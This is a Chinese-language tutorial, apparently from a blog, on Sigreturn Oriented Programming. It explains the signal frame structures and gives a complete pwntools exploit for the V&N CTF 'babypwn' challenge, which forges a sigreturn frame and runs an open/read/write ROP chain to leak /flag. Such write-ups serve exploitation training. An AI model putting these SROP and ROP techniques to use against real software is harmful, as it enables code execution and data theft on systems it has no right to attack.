什么是SROP SROP
全称Sigreturn Oriented Programming
,sigreturn
是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。一般来说,信号机制常见的步骤如下图所示:
包含的流程包括:
内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,将当前的信息压入栈中(栈寄存器等),以及将 sigreturn系统调用地址压入栈中。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
执行 sigreturn 系统调用,恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119,64 位的系统调用号为 15。
保存在栈中的进程上下文信息为ucontext_t
结构体,称其为Signal Frame
,其结构体定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 typedef struct ucontext_t { unsigned long int uc_flags; struct ucontext_t *uc_link ; stack_t uc_stack; mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem ; } ucontext_t ; typedef struct { void *ss_sp; size_t ss_size; int ss_flags; } stack_t ; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate ; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8 ]; };
由于Signal Frame
是在用户态的栈中,因此若在栈中伪造Signal Frame
,同时调sigreturn
系统调用,即可实现对所有寄存器的控制包括rip,从而实现攻击。
如若只想调用执行一个函数,如get shell,则可直接将rip指向system,将rdi指向binsh地址即可,如下图所示。
如果想执行一系列函数,我们可以通过rsp指针来实现相应的rop链,包括两个步骤:
控制栈指针。
把原来 rip 指向的syscall gadget 换成syscall; ret gadget。
示意图如下所示。
实例 以V&N招新赛babypwn为例
思路如下:
程序调用了syscall(15,&buf),当系统调用号为15时,程序会调用_rt_sigreturn并将我们的输入作为frame传入。然后就可以伪造frame,利用SROP执行read,在libc + 0x3C6500的rw-段布置ROP chain,并返回到其位置执行ORW攻击,程序开启了Sandbox不能执行execve
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *import syscontext.log_level='debug' context.arch='amd64' vn_pwn_babypwn_1=ELF('./vn_pwn_babypwn_1' , checksec = False ) if context.arch == 'amd64' : libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" , checksec = False ) elif context.arch == 'i386' : try : libc=ELF("/lib/i386-linux-gnu/libc.so.6" , checksec = False ) except : libc=ELF("/lib32/libc.so.6" , checksec = False ) def get_sh (other_libc = null) : global libc if args['REMOTE' ]: if other_libc is not null: libc = ELF("./" , checksec = False ) return remote(sys.argv[1 ], sys.argv[2 ]) else : return process("./vn_pwn_babypwn_1" ) def get_address (sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False) : sh.recvuntil(start_string) if int_mode : return_address=int(sh.recvuntil(end_string).strip(end_string),16 ) elif context.arch == 'amd64' : return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8 ,'\x00' )) else : return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4 ,'\x00' )) log.success(info+str(hex(return_address+offset))) return return_address+offset def get_flag (sh) : sh.sendline('cat /flag' ) return sh.recvrepeat(0.3 ) def get_gdb (sh,stop=False) : gdb.attach(sh) if stop : raw_input() if __name__ == "__main__" : sh = get_sh() get_gdb(sh) libc.address = get_address(sh,'The libc base address is ' ,'Here is my gift: 0x' ,'\n' ,-libc.symbols['puts' ],True ) sh.recvuntil('Please input magic message: ' ) fake_frame = p64(0 ) * 12 fake_frame += p64(0 ) fake_frame += p64(0 ) fake_frame += p64(0 ) fake_frame += p64(0 ) fake_frame += p64(libc.address + 0x3C6500 - 0x10 ) fake_frame += p64(0 ) fake_frame += p64(0x100 ) fake_frame += p64(libc.address + 0x3C6500 ) fake_frame += p64(libc.symbols['syscall' ]) fake_frame += p64(0 ) fake_frame += p64(0x33 ) fake_frame += p64(0 ) * 7 sh.send(fake_frame) ROP_chain = '/flag\x00\x00\x00' ROP_chain += p64(0 ) ROP_chain += p64(libc.address + 0x0000000000021102 ) ROP_chain += p64(libc.address + 0x3C6500 - 0x10 ) ROP_chain += p64(libc.address + 0x00000000000202e8 ) ROP_chain += p64(0 ) ROP_chain += p64(libc.symbols['open' ]) ROP_chain += p64(libc.address + 0x0000000000021102 ) ROP_chain += p64(3 ) ROP_chain += p64(libc.address + 0x00000000000202e8 ) ROP_chain += p64(libc.address + 0x3C6700 ) ROP_chain += p64(libc.address + 0x0000000000001b92 ) ROP_chain += p64(0x100 ) ROP_chain += p64(libc.symbols['read' ]) ROP_chain += p64(libc.address + 0x0000000000021102 ) ROP_chain += p64(1 ) ROP_chain += p64(libc.address + 0x00000000000202e8 ) ROP_chain += p64(libc.address + 0x3C6700 ) ROP_chain += p64(libc.address + 0x0000000000001b92 ) ROP_chain += p64(0x100 ) ROP_chain += p64(libc.symbols['write' ]) sh.send(ROP_chain) print sh.recv()
参考文章 :
https://ray-cp.github.io/archivers/srop-analysis